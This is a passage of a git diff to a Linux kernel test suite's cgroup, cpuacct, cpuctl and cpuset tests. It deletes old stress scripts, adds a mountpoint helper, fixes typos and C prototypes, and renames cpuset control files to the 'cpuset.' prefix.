-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
-
-trap exit SIGUSR1
-for ((; ;))
-{
-	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
-	mkdir cgroup/0 > /dev/null 2>&1
-	rmdir cgroup/0 > /dev/null 2>&1
-	umount cgroup/ > /dev/null 2>&1
-}
-
diff --git a/testcases/kernel/controllers/cgroup/test_10_2.sh b/testcases/kernel/controllers/cgroup/test_10_2.sh
deleted file mode 100755
index a6e50d8..0000000
--- a/testcases/kernel/controllers/cgroup/test_10_2.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#! /bin/bash
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
-
-trap exit SIGUSR1
-for ((; ;))
-{
-	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
-	umount cgroup/ > /dev/null 2>&1
-}
-
diff --git a/testcases/kernel/controllers/cgroup/test_3_1.sh b/testcases/kernel/controllers/cgroup/test_3_1.sh
deleted file mode 100755
index a1a4943..0000000
--- a/testcases/kernel/controllers/cgroup/test_3_1.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#! /bin/bash
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
-
-trap exit SIGUSR1
-for ((; ;))
-{
-	mkdir cgroup/0
-	rmdir cgroup/0
-}
-
diff --git a/testcases/kernel/controllers/cgroup/test_3_2.sh b/testcases/kernel/controllers/cgroup/test_3_2.sh
deleted file mode 100755
index 63bafaa..0000000
--- a/testcases/kernel/controllers/cgroup/test_3_2.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#! /bin/bash
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
-
-trap exit SIGUSR1
-for ((; ;))
-{
-	cat /proc/sched_debug > /dev/null
-}
-
diff --git a/testcases/kernel/controllers/cgroup/test_6_1.sh b/testcases/kernel/controllers/cgroup/test_6_1.sh
deleted file mode 100755
index 4eb6b32..0000000
--- a/testcases/kernel/controllers/cgroup/test_6_1.sh
+++ /dev/null
@@ -1,32 +0,0 @@
-#! /bin/bash
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
-
-trap exit SIGUSR1
-for ((; ;))
-{
-	mount -t cgroup -o ns xxx cgroup/ > /dev/null 2>&1
-	rmdir cgroup/[1-9]* > /dev/null 2>&1
-	umount cgroup/ > /dev/null 2>&1
-}
-
diff --git a/testcases/kernel/controllers/cgroup/test_6_2.c b/testcases/kernel/controllers/cgroup/test_6_2.c
deleted file mode 100644
index df85b1f..0000000
--- a/testcases/kernel/controllers/cgroup/test_6_2.c
+++ /dev/null
@@ -1,52 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) 2009 FUJITSU LIMITED                                         */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/* Author: Li Zefan <lizf@cn.fujitsu.com>                                     */
-/*                                                                            */
-/******************************************************************************/
-
-#define _GNU_SOURCE
-
-#include <sched.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include "test.h"
-
-#define DEFAULT_USEC	30000
-
-int foo(void __attribute__ ((unused)) * arg)
-{
-	return 0;
-}
-
-int main(int argc, char **argv)
-{
-	int usec;
-
-	if (argc == 2)
-		usec = atoi(argv[1]);
-	else
-		usec = DEFAULT_USEC;
-
-	while (1) {
-		usleep(usec);
-		ltp_clone_quick(CLONE_NEWNS, foo, NULL);
-	}
-
-	tst_exit();
-}
diff --git a/testcases/kernel/controllers/cgroup/test_9_1.sh b/testcases/kernel/controllers/cgroup/test_9_1.sh
deleted file mode 100755
index b7c26a4..0000000
--- a/testcases/kernel/controllers/cgroup/test_9_1.sh
+++ /dev/null
@@ -1,33 +0,0 @@
-#! /bin/bash
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
-
-trap exit SIGUSR1
-for ((; ;))
-{
-#	mount -t cgroup -o debug xxx cgroup/ > /dev/null 2>&1
-	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
-	cat cgroup/release_agent > /dev/null 2>&1
-	umount cgroup/ > /dev/null 2>&1
-}
-
diff --git a/testcases/kernel/controllers/cgroup/test_9_2.sh b/testcases/kernel/controllers/cgroup/test_9_2.sh
deleted file mode 100755
index 2d7d386..0000000
--- a/testcases/kernel/controllers/cgroup/test_9_2.sh
+++ /dev/null
@@ -1,32 +0,0 @@
-#! /bin/bash
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
-
-trap exit SIGUSR1
-for ((; ;))
-{
-#	mount -t cgroup -o debug xxx cgroup/ > /dev/null 2>&1
-	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
-	umount cgroup/ > /dev/null 2>&1
-}
-
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
index 907881c..f608375 100755
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
@@ -83,6 +83,7 @@
 setup()
 {
     tst_require_root
+    tst_test_cmds killall
 
     if [ ! -f /proc/cgroups ]; then
         tst_brkm TCONF "Kernel does not support for control groups"
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
index 633f256..fc3ad1b 100755
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
@@ -40,7 +40,7 @@
 }
 
 if [ "$#" -ne "1" ]; then
-    usage_and_exit "Invalid number of paramters"
+    usage_and_exit "Invalid number of parameters"
 fi
 
 # Move a task from group to group
diff --git a/testcases/kernel/controllers/cgroup_lib.sh b/testcases/kernel/controllers/cgroup_lib.sh
new file mode 100644
index 0000000..45ab51b
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup_lib.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2019 ARM Ltd. All Rights Reserved.
+
+. tst_test.sh
+
+# Find mountpoint to given subsystem
+# get_cgroup_mountpoint SUBSYSTEM
+# RETURN: 0 if mountpoint found, otherwise 1
+get_cgroup_mountpoint()
+{
+	local subsystem=$1
+	local mntpoint
+
+	[ $# -eq 0 ] && tst_brk TBROK "get_cgroup_mountpoint: subsystem not defined"
+
+	mntpoint=$(grep cgroup /proc/mounts | grep -w $subsystem | awk '{ print $2 }')
+	[ -z "$mntpoint" ] && return 1
+
+	echo $mntpoint
+	return 0
+}
diff --git a/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c b/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c
index ad291a1..71a03d1 100644
--- a/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c
+++ b/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c
@@ -219,10 +219,10 @@
 
 	/*
 	 * Kernels 3.7 can crash while unmounting cgroups with xattr,
-	 * call tst_flush() to make sure all buffered data written
+	 * call tst_old_flush() to make sure all buffered data written
 	 * before it happens
 	 */
-	tst_flush();
+	tst_old_flush();
 
 	int i;
 	for (i = 0; i < odir_num; ++i) {
diff --git a/testcases/kernel/controllers/cpuacct/cpuacct.sh b/testcases/kernel/controllers/cpuacct/cpuacct.sh
index edd4a98..5e90b05 100755
--- a/testcases/kernel/controllers/cpuacct/cpuacct.sh
+++ b/testcases/kernel/controllers/cpuacct/cpuacct.sh
@@ -41,6 +41,7 @@
 TST_POS_ARGS=2
 TST_USAGE=usage
 TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
 
 . tst_test.sh
 
@@ -114,10 +115,12 @@
 	for i in `seq 1 $max`; do
 		for j in `seq 1 $nbprocess`; do
 			cpuacct_task $testpath/subgroup_$i/tasks &
+			echo $! >> task_pids
 		done
 	done
 
-	wait
+	for pid in $(cat task_pids); do wait $pid; done
+	rm -f task_pids
 
 	acc=0
 	fails=0
diff --git a/testcases/kernel/controllers/cpuctl/README b/testcases/kernel/controllers/cpuctl/README
index 6f7a12d..976362d 100644
--- a/testcases/kernel/controllers/cpuctl/README
+++ b/testcases/kernel/controllers/cpuctl/README
@@ -16,7 +16,7 @@
 These are the tasks to run for cpu controller testing.
 The tasks have been automated in the sense that they can assign themselves to
 the appropriate group, can modify their group shares, can migrate etc.
-Each task runs for an interval TIME_INTERVAL seconds and eports the total time
+Each task runs for an interval TIME_INTERVAL seconds and reports the total time
 it could run on all cpus in an interval of INTERVAL seconds. (for convinience
 calculate cpu time is given in % and seconds both).
 A task can call a library routine from libcontrollers library to calculate
@@ -33,7 +33,7 @@
 /dev/cpuctl directory, mounts cgroup filesystem on it with cpu. It then creates
 a number(n) of groups in /dev/cpuctl. The cleanup function does a complete cleanup
 of the system.
-(*However most of the error scenarios ahve been tested for a sane cleanup, still if
+(*However most of the error scenarios have been tested for a sane cleanup, still if
 sometime it is unable to do it justt manualy execute the commands written in cleanup
 function)
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c b/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c
index c3348fb..108e576 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c
@@ -70,7 +70,7 @@
 int TST_TOTAL = 2;
 pid_t scriptpid;
 char path[] = "/dev/cpuctl";
-extern void cleanup()
+extern void cleanup(void)
 {
 	kill(scriptpid, SIGUSR1);	/* Inform the shell to do cleanup */
 	/* Report exit status */
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_test01.c b/testcases/kernel/controllers/cpuctl/cpuctl_test01.c
index 0cd587c..d7be1c8 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_test01.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_test01.c
@@ -73,7 +73,7 @@
 int TST_TOTAL = 1;
 pid_t scriptpid;
 char path[] = "/dev/cpuctl";
-extern void cleanup()
+extern void cleanup(void)
 {
 	kill(scriptpid, SIGUSR1);	/* Inform the shell to do cleanup */
 	tst_exit();		/* Report exit status */
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_test02.c b/testcases/kernel/controllers/cpuctl/cpuctl_test02.c
index d775a3e..2a5cd4a 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_test02.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_test02.c
@@ -71,7 +71,7 @@
 pid_t scriptpid;
 char path[] = "/dev/cpuctl";
 
-extern void cleanup()
+extern void cleanup(void)
 {
 	kill(scriptpid, SIGUSR1);	/* Inform the shell to do cleanup */
 	tst_exit();		/* Report exit status */
@@ -80,7 +80,7 @@
 int migrate_task();
 volatile int timer_expired = 0;
 
-int main(int argc, char *argv[])
+int main(void)
 {
 
 	int test_num;
@@ -272,7 +272,7 @@
 	}			/* end while */
 }				/* end main */
 
-int migrate_task()
+int migrate_task(void)
 {
 	char target[32] = "/dev/cpuctl/group_2/tasks";	/* Hard coding..Will try dynamic */
 	pid_t pid = getpid();
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_test04.c b/testcases/kernel/controllers/cpuctl/cpuctl_test04.c
index bc67f41..791a58d 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_test04.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_test04.c
@@ -71,7 +71,7 @@
 pid_t scriptpid;
 char path[] = "/dev/cpuctl";
 
-extern void cleanup()
+extern void cleanup(void)
 {
 	kill(scriptpid, SIGUSR1);	/* Inform the shell to do cleanup */
 	tst_exit();		/* Report exit status */
diff --git a/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh b/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh
index 4a73cfa..ab73c80 100755
--- a/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh
+++ b/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh
@@ -49,7 +49,7 @@
 	mkdir -p "$CPUCTL" || return 1
 
 	mount -t cgroup -o cpu cpuctl "$CPUCTL" || {
-		tst_resm TFAIL "failed to mount cpu subsytem... Exiting"
+		tst_resm TFAIL "failed to mount cpu subsystem... Exiting"
 		cleanup;
 		return 1;
 	}
diff --git a/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh
index 70e7203..67f3611 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh
@@ -102,10 +102,10 @@
 
 test_cpus()
 {
-	cfile_name="cpus"
+	cfile_name="cpuset.cpus"
 	while read cpus result
 	do
-		base_op_test "$CPUSET/1/cpus" "$cpus" "$result"
+		base_op_test "$CPUSET/1/cpuset.cpus" "$cpus" "$result"
 	done <<- EOF
 		NULL					EMPTY
 		0					0
@@ -124,23 +124,23 @@
 	# while read cpus result
 
 	if [ $nr_cpus -ge 3 ]; then
-		base_op_test "$CPUSET/1/cpus" "0,1-$((nr_cpus-2)),$((nr_cpus-1))" "0-$((nr_cpus-1))"
-		base_op_test "$CPUSET/1/cpus" "0,1-$((nr_cpus-2))," "0-$((nr_cpus-2))"
+		base_op_test "$CPUSET/1/cpuset.cpus" "0,1-$((nr_cpus-2)),$((nr_cpus-1))" "0-$((nr_cpus-1))"
+		base_op_test "$CPUSET/1/cpuset.cpus" "0,1-$((nr_cpus-2))," "0-$((nr_cpus-2))"
 	fi
 
 	if tst_kvcmp -lt "3.0 RHEL6:2.6.32"; then
-		base_op_test "$CPUSET/1/cpus" "0-" "WRITE_ERROR"
+		base_op_test "$CPUSET/1/cpuset.cpus" "0-" "WRITE_ERROR"
 	else
-		base_op_test "$CPUSET/1/cpus" "0-" "0"
+		base_op_test "$CPUSET/1/cpuset.cpus" "0-" "0"
 	fi
 }
 
 test_mems()
 {
-	cfile_name="mems"
+	cfile_name="cpuset.mems"
 	while read mems result
 	do
-		base_op_test "$CPUSET/1/mems" "$mems" "$result"
+		base_op_test "$CPUSET/1/cpuset.mems" "$mems" "$result"
 	done <<- EOF
 		NULL					EMPTY
 		0					0
@@ -159,14 +159,14 @@
 	# while read mems result
 
 	if [ $nr_mems -ge 3 ]; then
-		base_op_test "$CPUSET/1/mems" "0,1-$((nr_mems-2)),$((nr_mems-1))" "0-$((nr_mems-1))"
-		base_op_test "$CPUSET/1/mems" "0,1-$((nr_mems-2))," "0-$((nr_mems-2))"
+		base_op_test "$CPUSET/1/cpuset.mems" "0,1-$((nr_mems-2)),$((nr_mems-1))" "0-$((nr_mems-1))"
+		base_op_test "$CPUSET/1/cpuset.mems" "0,1-$((nr_mems-2))," "0-$((nr_mems-2))"
 	fi
 
 	if tst_kvcmp -lt "3.0 RHEL6:2.6.32"; then
-		base_op_test "$CPUSET/1/mems" "0-" "WRITE_ERROR"
+		base_op_test "$CPUSET/1/cpuset.mems" "0-" "WRITE_ERROR"
 	else
-		base_op_test "$CPUSET/1/mems" "0-" "0"
+		base_op_test "$CPUSET/1/cpuset.mems" "0-" "0"
 	fi
 }
 
@@ -176,10 +176,10 @@
 			memory_migrate memory_spread_page memory_spread_slab \
 			sched_load_balance memory_pressure_enabled
 	do
-		cfile_name="$filename"
+		cfile_name="cpuset.$filename"
 		while read flags result
 		do
-			base_op_test "$CPUSET/$filename" "$flags" "$result"
+			base_op_test "$CPUSET/cpuset.$filename" "$flags" "$result"
 		done <<- EOF
 			0	0
 			1	1
@@ -219,10 +219,10 @@
 	fi
 
 	if [ "$cpus" != "NULL" ]; then
-		echo $cpus > "$CPUSET/sub_cpuset/cpus"
+		echo $cpus > "$CPUSET/sub_cpuset/cpuset.cpus"
 	fi
 	if [ "$mems" != "NULL" ]; then
-		echo $mems > "$CPUSET/sub_cpuset/mems"
+		echo $mems > "$CPUSET/sub_cpuset/cpuset.mems"
 	fi
 
 	cat /dev/zero > /dev/null &
@@ -264,8 +264,8 @@
 {
 	for filename in cpus mems memory_pressure
 	do
-		cfile_name="$filename(READONLY)"
-		base_op_test "$CPUSET/$filename" "0" "WRITE_ERROR"
+		cfile_name="cpuset.$filename(READONLY)"
+		base_op_test "$CPUSET/cpuset.$filename" "0" "WRITE_ERROR"
 	done # for filename in readonly cfiles
 }
 
diff --git a/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/cpuset_exclusive_test.sh b/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/cpuset_exclusive_test.sh
index 2188ab6..8e5413a 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/cpuset_exclusive_test.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/cpuset_exclusive_test.sh
@@ -35,186 +35,186 @@
 # Case 1-9 test cpus
 test1()
 {
-	echo 0 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo 0 > "$CPUSET/father/child/cpu_exclusive" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpu_exclusive" || return 1
 
-	test 0 = $(cat "$CPUSET/father/child/cpu_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.cpu_exclusive") || return 1
 }
 
 test2()
 {
-	echo 1 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo 0 > "$CPUSET/father/child/cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpu_exclusive" || return 1
 
-	test 0 = $(cat "$CPUSET/father/child/cpu_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.cpu_exclusive") || return 1
 }
 
 test3()
 {
-	echo 1 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpu_exclusive" || return 1
 
-	test 1 = $(cat "$CPUSET/father/child/cpu_exclusive") || return 1
+	test 1 = $(cat "$CPUSET/father/child/cpuset.cpu_exclusive") || return 1
 }
 
 test4()
 {
-	echo 0 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/cpu_exclusive" 2> /dev/null && return 1
+	echo 0 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpu_exclusive" 2> /dev/null && return 1
 
-	test 0 = $(cat "$CPUSET/father/child/cpu_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.cpu_exclusive") || return 1
 }
 
 test5()
 {
-	echo 1 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/cpu_exclusive" || return 1
-	echo 0 > "$CPUSET/father/cpu_exclusive" 2> /dev/null && return 1
+	echo 1 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpu_exclusive" || return 1
+	echo 0 > "$CPUSET/father/cpuset.cpu_exclusive" 2> /dev/null && return 1
 
-	test 1 = $(cat "$CPUSET/father/cpu_exclusive") || return 1
+	test 1 = $(cat "$CPUSET/father/cpuset.cpu_exclusive") || return 1
 }
 
 test6()
 {
-	echo 1 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/cpu_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
+	echo 1 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpu_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo 1 > "$CPUSET/father/other/cpus" || return 1
+	echo 1 > "$CPUSET/father/other/cpuset.cpus" || return 1
 
-	test 0 = $(cat "$CPUSET/father/child/cpus") || return 1
-	test 1 = $(cat "$CPUSET/father/other/cpus") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.cpus") || return 1
+	test 1 = $(cat "$CPUSET/father/other/cpuset.cpus") || return 1
 }
 
 test7()
 {
-	echo 1 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo 1 > "$CPUSET/father/child/cpu_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
+	echo 1 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpu_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo "0-1" > "$CPUSET/father/other/cpus" 2> /dev/null && return 1
+	echo "0-1" > "$CPUSET/father/other/cpuset.cpus" 2> /dev/null && return 1
 
-	test 0 = $(cat "$CPUSET/father/child/cpus") || return 1
-	test -z $(cat "$CPUSET/father/other/cpus") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.cpus") || return 1
+	test -z $(cat "$CPUSET/father/other/cpuset.cpus") || return 1
 }
 
 test8()
 {
-	echo 1 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
+	echo 1 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo 1 > "$CPUSET/father/other/cpus" || return 1
-	echo 1 > "$CPUSET/father/child/cpu_exclusive" || return 1
+	echo 1 > "$CPUSET/father/other/cpuset.cpus" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpu_exclusive" || return 1
 
-	test 1 = $(cat "$CPUSET/father/child/cpu_exclusive") || return 1
+	test 1 = $(cat "$CPUSET/father/child/cpuset.cpu_exclusive") || return 1
 }
 
 test9()
 {
-	echo 1 > "$CPUSET/father/cpu_exclusive" || return 1
-	echo "0-1" > "$CPUSET/father/cpus" || return 1
-	echo 0 > "$CPUSET/father/child/cpus" || return 1
+	echo 1 > "$CPUSET/father/cpuset.cpu_exclusive" || return 1
+	echo "0-1" > "$CPUSET/father/cpuset.cpus" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.cpus" || return 1
 	mkdir "$CPUSET/father/other" || return 1
-	echo "0-1" > "$CPUSET/father/other/cpus" || return 1
-	echo 1 > "$CPUSET/father/child/cpu_exclusive" 2> /dev/null && return 1
+	echo "0-1" > "$CPUSET/father/other/cpuset.cpus" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.cpu_exclusive" 2> /dev/null && return 1
 
-	test 0 = $(cat "$CPUSET/father/child/cpu_exclusive") || return 1
+	test 0 = $(cat "$CPUSET/father/child/cpuset.cpu_exclusive") || return 1
 }
 
 # The following cases test mems
 
 test10()
 {
-	echo 0 > "$CPUSET/father/mem_exclusive" || return 1
